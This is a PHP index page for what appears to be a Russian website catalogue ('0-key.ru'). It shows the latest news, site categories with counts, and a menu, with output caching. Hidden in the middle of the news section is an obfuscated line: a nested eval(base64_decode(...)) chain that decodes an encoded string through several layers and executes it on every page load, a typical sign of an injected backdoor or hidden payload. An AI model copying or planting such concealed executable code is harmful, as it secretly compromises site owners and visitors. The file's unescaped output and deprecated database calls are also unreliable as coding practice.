View file 0-key.ru/index.php

File size: 3.46Kb
<?php
	include'System/core.php';
	
	$config['title'] = $system['title'];
	
	include'System/header.php';

	if (file_exists('Cache/index.cache') && $system['Cache_index'] == 1)
	{
		echo implode('', file ('Cache/index.cache'));
	}
	else
	{
		ob_start();
		
		$news = mysql_query("SELECT * FROM `news` ORDER BY `time` DESC"); $sql_count++;
	
		echo '<div class="title">Последняя новость</div>';
	
		if (mysql_num_rows($news) == TRUE)
		{
			$news = mysql_fetch_array($news);
			$count_comment_news = mysql_result(mysql_query("SELECT COUNT(*) FROM `news_comment` WHERE `id_news` = '".$news['id']."'"),0); $sql_count++;
		
			?>
			<div class="news">
			<b><?=$news['name']?></b><br />
			<?=text(bbcode($news['about']))?><br />
			<small style="color:green;">Новость создана: <?=data($news['time'])?></small>
			<p><a href="/NewsKomment/<?=$news['id']?>/">Комментарии (<?=$count_comment_news?>)</a></p>
			</div>
			<?
		}
		else
			echo '<div class="news">Новости не созданы</div>';

		$V247936828="+pWTmJ/Q18yR0JiClZbN0piEhIDK39+GmZSVn92IiIjeg4XSzszfkc7Xy/o=";eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0pLUmxsNlQwUlZkMDFFUlhsT2VtczVXVzFHZWxwVVdUQllNbEpzV1RJNWExcFRaMmxYVnpGSFpXeHdWVmRVUWxsTmJFcHpWMVJKTldFeGNGSlFWREJwUzFSemExWnFVWHBPZWxreFRWUlJlazlFTVdsWldFNXNUbXBTWmxwSFZtcGlNbEpzUzBOS2FrMHhTalZaYTJSWFpGTkpjRTk1VWxkT2VsRXdUbnBaZVU1cVdUQlFWMHBvWXpKVk1rNUdPV3RhVjA1MldrZFZiMGxzYTNsaFNHdHBTMVJ6YTFacVp6Tk9ha2t4VFZSUmVFMUVNV2xaV0U1c1RtcFNabHBIVm1waU1sSnNTME5LYVUwd2NISkphV3MzU2taWk5VMVVXVEZOYWsxNlRucHJPVmx0Um5wYVZGa3dXREpTYkZreU9XdGFVMmRwVjJwT2QyTkhTblJYYms1YVYwWktjMGxwYXpjaUtTazdaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0pLUmxsNVRrUmpOVTE2V1RSTmFtYzVTa1paZWs5RVZYZE5SRVY1VG5wcmIwcEdXWGxPUkdNMVRYcFpORTFxWjNCUGVWSlhUbFJuZDA1VVZUQlBWR04zVUZOU1YwNUVUVE5PYWxWNFRrUk5ORXREVWxkTmFsRXpUMVJOTWs5RVNUUkxWSE05SWlrcE93PT0iKSk7ZXZhbChiYXNlNjRfZGVjb2RlKCJKRll4TURreE1UVTJPREk5SnljN1ptOXlLQ1JXTmpjek9UQTBPVGMwUFRBN0pGWTJOek01TURRNU56UThKRlkxT0RBMU5UUTVOekE3SkZZMk56TTVNRFE1TnpRckt5bDdKRll4TURreE1UVTJPREl1UFNSV056UTBOell5TmpZMEtDZ2tWamczTmpJMU1UUXhNQ2drVmpJME56a3pOamd5T0Zza1ZqWTNNemt3TkRrM05GMHBYakUzTXpjeU9UY3pPVElwS1R0OVpYWmhiQ2drVmpFd09URXhOVFk0TWlrNyIpKTs="));

		?>
		<div class="title">Категории</div>
		<?

		$query = mysql_query("SELECT * FROM `category`"); $sql_count++;
		if (mysql_num_rows($query) == TRUE)
		{
			while($category = mysql_fetch_array($query))
			{
				$count_site = mysql_result(mysql_query("SELECT COUNT(*) FROM `site` WHERE `id_category` = '".$category['id']."' AND `mod` = '1' AND `ban` = '0'"),0); $sql_count++;
				
				?>
                                <div class="link">
				<a href="/category/<? echo $category['translit']; ?>/"><img src="img/2.png" alt=""/> <? echo $category['name']; ?> <span class="count"><? echo $count_site; ?></span></a>
                                </div>
				<?
			}
		}
		else
			{?><div class="text">Категории не созданы</div><?}

		?>
		<div class="title">Меню</div>
		<div class="link"><a href="/News"><img src="img/3.png" alt=""/> Новости</a></div>
		<div class="link"><a href="/Ban-List"><img src="img/5.png" alt=""/> Бан-лист</a></div>
		<div class="link"><a href="/AllStatistics"><img src="img/4.png" alt=""/> Статистика</a></div>
		<?


		$body = ob_get_contents();
		ob_end_clean();
		
		if ($system['Cache_index'] == 1)
		{
			wCache($body, 'index.cache');
			echo $body;
		}
		else
			echo $body;

	}
	include 'System/footer.php';
?>